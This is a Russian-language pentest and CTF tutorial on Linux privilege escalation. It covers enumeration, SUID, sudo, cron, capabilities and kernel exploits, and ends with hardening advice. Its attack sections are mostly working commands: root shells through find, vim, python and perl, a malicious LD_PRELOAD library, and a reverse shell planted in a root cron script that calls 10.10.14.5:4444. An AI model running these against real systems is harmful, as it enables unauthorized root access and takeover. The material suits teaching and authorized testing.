Ты только что получил шелл от
www-data через дыру в веб-приложении. Терминал мигает, команды работают, но при попытке прочитать /etc/shadow - Permission denied. Знакомая картина. Между тобой и полным контролем над системой стоит этап повышения привилегий Linux, и именно он решает, уйдёшь ты с трофеем или с пустыми руками.Здесь я разберу четыре основных вектора эскалации привилегий: SUID-бинари, cron-задачи, Linux capabilities и kernel exploits. Не абстрактную теорию - конкретные команды с реальным выводом терминала и объяснением, почему каждый приём работает на уровне Unix-прав. Материал построен так, как я сам провожу post-exploitation на пентестах и при прохождении машин на HackTheBox.
Фаза нулевая: разведка системы перед эскалацией
Прежде чем бросаться эксплуатировать что-либо - пойми, с чем имеешь дело. Enumeration - фундамент любого повышения привилегий в Linux. Без разведки ты стреляешь вслепую.Ручная разведка: что проверять первым делом
Получив низкопривилегированный шелл, первым делом стабилизируй его. Ограниченная оболочка не даст нормально работать с sudo и интерактивными командами:
Bash:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z, затем:
stty raw -echo; fg
Bash:
# Кто я и в каких группах
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Версия ядра - нужна для поиска kernel exploits
uname -a
# Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64
# Версия дистрибутива
cat /etc/os-release
# Что разрешено через sudo
sudo -l
# (root) NOPASSWD: /usr/bin/find
# SUID-бинари в системе
find / -perm -4000 -type f 2>/dev/null
# Capabilities на файлах
getcap -r / 2>/dev/null
# Cron-задачи
cat /etc/crontab
ls -la /etc/cron.d/
# Поиск паролей в конфигах
grep -lRi "password" /home /var/www /etc 2>/dev/null | head -20
Автоматизированные инструменты для Linux privesc
Ручная разведка - хорошо, но автоматизация экономит время. Три инструмента, которые я гоняю постоянно:LinPEAS - самый жирный скрипт для поиска векторов эскалации привилегий. Цветовая кодировка: красно-жёлтая подсветка - 95% вероятность рабочего вектора.
Bash:
# Загрузка и запуск на целевой машине
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
/etc/crontab:
Bash:
# Загружаем pspy на целевую машину и запускаем
./pspy64
# Наблюдаем процессы, запускаемые от root по расписанию
Теперь к конкретным техникам.
SUID эксплуатация Linux: когда бинарник делает тебя root
SUID (Set User ID) - специальный бит разрешений в Unix. Когда он установлен на исполняемый файл, тот запускается не от имени текущего пользователя, а от имени владельца файла. Владелец - root? Поздравляю, ты фактически выполняешь код с root-привилегиями.В терминологии MITRE ATT&CK это техника
Ссылка скрыта от гостей
, которая относится к тактикам privilege-escalation и defense-evasion.Поиск уязвимых SUID-бинарей
Bash:
find / -perm -u=s -type f 2>/dev/null
Код:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find
/usr/bin/vim.basic
/usr/bin/bash
/usr/bin/nmap
/usr/bin/passwd и /usr/bin/sudo - это нормально, так и задумано. А вот find, vim, bash или nmap с SUID-битом - прямой путь к root.Эксплуатация SUID find
Допустим,find имеет SUID-бит и принадлежит root. Почему это опасно? У find есть параметр -exec, который выполняет произвольные команды. А раз find запускается от root - команда тоже отработает от root:
Bash:
# Проверяем SUID на find
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root 233984 /usr/bin/find
# Эксплуатация - получаем root shell
find . -exec /bin/bash -p \; -quit
# bash-5.1# whoami
# root
-p у bash тут критически важен: он говорит оболочке сохранить привилегии SUID. Без него bash сбросит эффективный UID (euid) обратно к реальному (ruid). Обрати внимание: при эксплуатации через sudo флаг -p не нужен - sudo запускает процесс уже с uid=0, а не просто с euid=0.Эксплуатация SUID vim
Bash:
vim -c ':!/bin/bash -p'
# Или из самого vim: нажать Esc, ввести :!/bin/bash -p
Эксплуатация SUID bash
Самый простой случай. Если/usr/bin/bash имеет SUID-бит:
Bash:
bash -p
# bash-5.1# id
# uid=33(www-data) gid=33(www-data) euid=0(root)
euid=0(root) - эффективный UID стал root. Можешь читать /etc/shadow, писать в /etc/passwd и делать всё, что делает root.Главный ресурс для поиска способов злоупотребления SUID -
Ссылка скрыта от гостей
. Там собраны сотни бинарей с описанием, как через каждый из них получить shell, читать/писать файлы или обойти ограничения. Если нашёл нестандартный SUID - первым делом иди туда.Повышение привилегий через cron: когда расписание работает на тебя
Cron - планировщик задач в Linux, выполняющий скрипты по расписанию. По MITRE ATT&CK это техника Cron (T1053.003), которая одновременно относится к тактикам execution, persistence и privilege-escalation.Суть атаки простая: если cron выполняет скрипт от root, а у тебя есть право на запись в этот скрипт - ты контролируешь код, который выполнится с root-привилегиями.
Разведка cron-задач
Bash:
# Системные cron-задачи
cat /etc/crontab
# * * * * * root /home/lowpriv/backup.sh
# Задачи в директориях cron
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
# Проверяем права на скрипт
ls -la /home/lowpriv/backup.sh
# -rwxrwxrwx 1 root root 45 /home/lowpriv/backup.sh
rwxrwxrwx? Любой пользователь может изменить скрипт. А cron выполнит его от root. Классическая misconfiguration - и встречается чаще, чем хотелось бы.Эксплуатация writable cron-скрипта
Несколько вариантов. Самый надёжный - создать SUID-копию bash:
Bash:
# Перезаписываем скрипт
echo '#!/bin/bash
cp /usr/bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /home/lowpriv/backup.sh
# Ждём выполнения cron (до 1 минуты при * * * * *)
# Затем:
/tmp/rootbash -p
# whoami
# root
Bash:
echo '#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' > /home/lowpriv/backup.sh
nc -lvnp 4444 - и через минуту получаешь root shell.Скрытые cron-задачи и pspy
Не все cron-задачи видны в/etc/crontab. У root могут быть персональные crontab-записи, которые www-data не увидит. Именно тут спасает pspy:
Bash:
./pspy64
# 2024/01/15 10:00:01 CMD: UID=0 PID=1234 | /bin/bash /opt/scripts/cleanup.sh
# 2024/01/15 10:01:01 CMD: UID=0 PID=1235 | /bin/bash /opt/scripts/cleanup.sh
/opt/scripts/cleanup.sh доступен на запись - используй ту же технику. Согласно исследованию Got Root? A Linux Priv-Esc Benchmark (arxiv.org), cron-уязвимости реализуются как с видимыми crontab-записями, так и со скрытыми скриптами в домашней директории. Так что pspy - обязательный инструмент, если хочешь полное покрытие.Linux capabilities эксплуатация: тонкий контроль с грубыми последствиями
Capabilities - механизм, который разбивает монолитные root-привилегии на мелкие единицы. Вместо полного root-доступа файлу можно выдать конкретную «способность»: например,cap_net_bind_service для привязки к портам ниже 1024.Идея красивая. Проблема в том, что некоторые capabilities дают фактический root-доступ, а админы не всегда это понимают (или понимают, но «временно, потом уберём»).
Поиск файлов с capabilities
Bash:
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/perl = cap_setuid+ep
# /usr/bin/ping = cap_net_raw+ep
cap_net_raw на ping - нормально. А вот cap_setuid на python или perl - это по сути тот же SUID-бит, только в профиль. Флаг +ep означает effective и permitted - capability активна и разрешена.Эксплуатация cap_setuid на Python
Capabilitycap_setuid позволяет процессу менять свой UID. Python с этой capability становится root одной строкой:
Bash:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# root@target:~# whoami
# root
os.setuid(0) меняет UID процесса на 0 (root). Обычно непривилегированному пользователю это запрещено, но capability cap_setuid снимает ограничение. После смены UID любой порождённый процесс (в нашем случае /bin/bash) наследует root-привилегии.Эксплуатация cap_setuid на Perl
Bash:
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
setuid(0) через POSIX-модуль, затем запускает bash.Другие опасные capabilities
| Capability | Почему опасна | Вектор эксплуатации |
|---|---|---|
| cap_setuid | Смена UID на 0 | Прямое переключение на root |
| cap_setgid | Смена GID | Присоединение к группе root/shadow |
| cap_dac_override | Игнорирование прав на файлы | Чтение/запись /etc/shadow |
| cap_dac_read_search | Чтение любых файлов | Извлечение паролей из конфигов |
| cap_sys_admin | Монтирование файловых систем | Монтирование хостовой ФС |
Вектор, который русскоязычные руководства по Linux privesc почти не покрывают. В моей практике capabilities встречаются на CTF-машинах среднего уровня и на реальных серверах, где разработчики «временно» выдали capability контейнеру или скрипту. Временное, как известно, самое постоянное.
Sudo misconfiguration: когда администратор сам открывает дверь
Техника Sudo and Sudo Caching (T1548.003) по MITRE ATT&CK. Первая команда после получения шелла -sudo -l. Если система спрашивает пароль, а у тебя его нет (типичный случай с www-data) - вектор через sudo маловероятен. Но если пароль нашёлся в конфиге или через credential reuse - проверяй обязательно.Типичные опасные разрешения sudo
Bash:
sudo -l
# User www-data may run the following commands:
# (ALL) NOPASSWD: /usr/bin/find
# (ALL) NOPASSWD: /usr/bin/vim
# (ALL) NOPASSWD: /usr/bin/python3
Bash:
# Через find (sudo уже даёт uid=0, поэтому -p не нужен)
sudo find / -exec /bin/bash \; -quit
# Через vim
sudo vim -c ':!/bin/bash'
# Через python3
sudo python3 -c 'import os; os.system("/bin/bash")'
Sudo с LD_PRELOAD
Более хитрый вектор, но крайне редкий на реальных системах. По умолчанию sudo сбрасывает переменные окружения (env_reset). Вектор работает только если в /etc/sudoers явно указано Defaults env_keep+=LD_PRELOAD:
Bash:
# Создаём вредоносную shared library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
// На glibc 2.34+ (Ubuntu 22.04+) _init() может не вызываться с -nostartfiles.
// Используем __attribute__((constructor)) как более надёжную альтернативу.
void __attribute__((constructor)) init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c
# Запускаем любую разрешённую команду с нашей библиотекой
sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/find
LD_PRELOAD при выполнении команд. На практике я встречал такое ровно один раз - на CTF-машине. Но знать стоит.Kernel exploit Linux: последний довод пентестера
Kernel exploits - техника Exploitation for Privilege Escalation (T1068) по MITRE ATT&CK. Эксплойты ядра дают прямой root, но я всегда оставляю их на крайний случай. Причины чисто практические: kernel exploit может уронить систему, оставить следы в логах, а на реальном пентесте завалить прод - верный способ потерять заказчика.Тем не менее знать ключевые уязвимости необходимо.
Dirty COW (
Ссылка скрыта от гостей
)
По данным NVD, CVE-2016-5195 - race condition в mm/gup.c ядра Linux версий 2.x–4.x до 4.8.3. CVSS: 7.0 (HIGH), вектор: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE-362 (Race Condition).Сложность атаки
AC:H - эксплуатация зависит от гонки потоков, не всегда срабатывает с первого раза. Уязвимость позволяла непривилегированному пользователю получить запись в read-only memory mappings и через это повысить привилегии.
Bash:
# Разведка - проверяем версию ядра
uname -r
# 3.13.0-55-generic - уязвимо
# Компиляция эксплойта
gcc -pthread dirtycow.c -o dirtycow -lcrypt
# Запуск
./dirtycow
# Переключение на созданного пользователя с root-правами
su newuser
Ссылка скрыта от гостей
: современная угроза
CVE-2024-1086 - use-after-free в компоненте nf_tables фреймворка netfilter ядра Linux. По данным NVD: CVSS 7.8 (HIGH), вектор: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE-416 (Use After Free).Обрати внимание на разницу с DirtyCOW: здесь
AC:L (Low Complexity) - эксплуатация проще и стабильнее. Затронутые версии ядра Linux:- от 6.7 до 6.7.3
- от 6.2 до 6.6.15
- от 3.15 до 6.1.76 (публичный эксплойт протестирован на ядрах 5.14+)
- 6.8-rc1
nft_verdict_init() позволяет положительные значения как drop error в hook verdict, из-за чего nf_hook_slow() вызывает double-free при вердикте NF_DROP, который затем интерпретируется как NF_ACCEPT.Эксплуатация зависит от доступности unprivileged user namespaces к
nf_tables - включено по умолчанию в Debian, Ubuntu и CTF-дистрибутивах. Атакующий запускает double-free, сканирует физическую память для определения базового адреса ядра, обходит KASLR и перезаписывает modprobe_path, после чего получает root shell.Предупреждение от CrowdStrike (и лично от меня): после закрытия root shell, полученного через этот эксплойт, целевая система становится нестабильной и может упасть. На реальном пентесте это означает потенциальный инцидент. Использование kernel exploits без согласования с заказчиком - грубая ошибка.
Как искать подходящий kernel exploit
Bash:
# Узнаём версию ядра
uname -r
# Используем linux-exploit-suggester
./linux-exploit-suggester.sh
# Или searchsploit на своей машине
searchsploit linux kernel 5.15 privilege escalation
Полный workflow: от шелла до root за 10 минут
Собираем все техники в единый процесс. Представь: ты получил шелл отwww-data на Ubuntu-сервере.Шаг 1 - Стабилизация и базовая разведка:
Bash:
python3 -c 'import pty;pty.spawn("/bin/bash")'
id && uname -a && sudo -l
Bash:
# SUID
find / -perm -4000 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Writable cron scripts
cat /etc/crontab
find / -writable -type f -name "*.sh" 2>/dev/null
# Пароли в конфигах
grep -lRi "password\|passwd\|pwd" /var/www /home /etc 2>/dev/null | head -20
Bash:
# Если предыдущие шаги ничего не дали - запускаем LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
getcap показал cap_setuid+ep на Python:
Bash:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
whoami
# root
Bash:
id
# uid=0(root) gid=33(www-data) groups=33(www-data)
cat /root/proof.txt # для CTF
# Или на пентесте - документируешь вектор и переходишь к следующей цели
Чем реальный пентест отличается от CTF
На CTF-машинах уязвимость всегда одна, и она гарантированно эксплуатируется. В реальном пентесте всё иначе:| Аспект | CTF | Реальный пентест |
|---|---|---|
| Количество векторов | Один заложенный | Может быть ноль или десять |
| Стабильность эксплойтов | Гарантирована | Kernel exploit может уронить прод |
| Время | Неограничено | Жёсткий scope и дедлайн |
| Последствия ошибки | Ничего страшного | Инцидент у заказчика |
| Логирование | Не отслеживается | SIEM фиксирует всё |
Исследование Got Root? (arxiv.org) подчёркивает: конфигурационные уязвимости (SUID, sudo, cron) чаще ищутся вручную, а version-based exploits детектируются автоматически. Прокачка навыка ручной разведки даёт больший эффект, чем запоминание конкретных CVE. Лично я всегда начинаю руками - LinPEAS запускаю, только если ручной проход ничего не дал.
Рекомендации по защите от локального повышения привилегий
Для каждого вектора - конкретные меры:Против SUID-эксплуатации:
Bash:
# Аудит SUID-файлов
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Удаление лишних SUID
chmod u-s /usr/bin/find
Bash:
# Скрипты cron - владелец root, права 700
chmod 700 /opt/scripts/backup.sh
chown root:root /opt/scripts/backup.sh
Bash:
# Аудит
getcap -r / 2>/dev/null
# Удаление опасной capability
setcap -r /usr/bin/python3
Общий принцип - Principle of Least Privilege: каждый пользователь и процесс получают только те права, которые нужны для работы. Не больше. Звучит банально, но 90% описанных в статье векторов существуют именно потому, что кто-то выдал лишнее.
Итог
Повышение привилегий в Linux - не магия и не набор хаков для копирования. Это системный процесс: разведка, анализ, эксплуатация. SUID, cron, capabilities и kernel exploits - четыре столпа, на которых стоит большинство реальных эскалаций. Научись находить их вручную, пойми механику Unix-прав - и автоматизированные инструменты вроде LinPEAS станут не костылём, а усилителем.Разверни уязвимую машину на TryHackMe (комната «Linux PrivEsc» от Tib3rius) или Hackerlab и пройди весь workflow от шелла до root. Повтори пять раз - и повышение привилегий станет рефлексом. Потренировавшись на кошках, можно и на реальный проект.